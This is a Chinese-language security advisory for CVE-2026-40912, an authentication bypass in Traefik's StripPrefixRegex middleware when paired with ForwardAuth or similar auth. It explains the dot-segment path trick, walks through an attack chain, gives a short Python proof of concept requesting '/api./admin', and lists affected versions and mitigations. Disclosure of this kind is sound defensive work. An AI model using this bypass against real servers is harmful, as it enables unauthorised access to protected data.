IPBUF安全漏洞报告
English
CVE-2026-40912 CVSS 8.2 高危

CVE-2026-40912 Traefik StripPrefixRegex认证绕过漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-40912
漏洞类型
认证绕过
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Traefik

相关标签

认证绕过TraefikCVE-2026-40912URL规范化中间件漏洞Reverse Proxy

漏洞概述

Traefik是一个开源的HTTP反向代理和负载均衡器。在2.11.43、3.6.14和3.7.0-rc.2之前的版本中,StripPrefixRegex中间件与ForwardAuth、BasicAuth或DigestAuth结合使用时存在高危认证绕过漏洞。由于中间件对URL解码与切片处理的逻辑差异,攻击者可利用包含点分段的特殊请求路径,欺骗认证服务放行请求,从而未授权访问受保护的后端敏感资源。

技术细节

该漏洞的核心原因在于StripPrefixRegex中间件处理URL路径时的逻辑不一致。中间件首先对URL路径进行解码,并使用正则表达式匹配需要剥离的前缀,但随后利用匹配结果的字节长度直接对原始的百分号编码路径进行切片。当攻击者构造的URL前缀部分包含点字符(例如 `/api./admin`)时,正则匹配解码后的路径确定前缀长度(如 `/api`),但切片原始路径时会保留点字符,导致剩余路径变为点分段(如 `./admin`)。ForwardAuth中间件将此点分段路径放入 `X-Forwarded-Uri` 头部发送给认证服务,由于该路径通常不匹配受保护路径的规则(如 `/admin`),认证服务误认为非受保护资源而放行。最终,后端服务器根据RFC 3986规范对路径进行标准化处理,将 `./admin` 还原为 `/admin` 并返回敏感数据。

攻击链分析

STEP 1
侦察
攻击者识别目标使用Traefik作为反向代理,并配置了StripPrefixRegex中间件与ForwardAuth/BasicAuth认证中间件。
STEP 2
构造恶意请求
攻击者分析受保护的路径(如/admin)和前缀剥离规则(如/api),构造包含点字符的URL(如/api./admin),利用URL处理逻辑差异。
STEP 3
发送请求
攻击者向Traefik发送精心构造的HTTP请求。
STEP 4
认证绕过
Traefik的StripPrefixRegex处理请求后,向认证服务发送包含点分段(如./admin)的X-Forwarded-Uri。认证服务判定该路径不在保护范围内,允许请求通过。
STEP 5
获取敏感数据
请求转发至后端服务器,后端对路径进行标准化还原(./admin -> /admin),并返回受保护的敏感内容给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Traefik StripPrefixRegex Authentication Bypass (CVE-2026-40912) # Description: This PoC demonstrates bypassing ForwardAuth using dot-segments. # Scenario: # Target uses StripPrefixRegex with regex "/api" to strip prefix. # ForwardAuth protects "/admin". # Vulnerable path: /api./admin # Normal blocked request (for reference): # url = "http://target.com/api/admin" # Malicious bypass request: # The dot after 'api' causes the slice logic to produce './admin' for the auth check. url = "http://target.com/api./admin" headers = { "User-Agent": "CVE-2026-40912-Scanner" } try: response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: print("[+] Exploit Successful! Authentication bypassed.") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Snippet: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print("[-] Exploit Failed. Authentication is enforced.") else: print(f"[?] Unexpected Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

Traefik < 2.11.43
Traefik < 3.6.14
Traefik < 3.7.0-rc.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时移除或修改StripPrefixRegex中间件与认证中间件的组合配置,或者在应用层严格校验X-Forwarded-Uri头部,对包含点分段(./或../)的请求拒绝访问,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表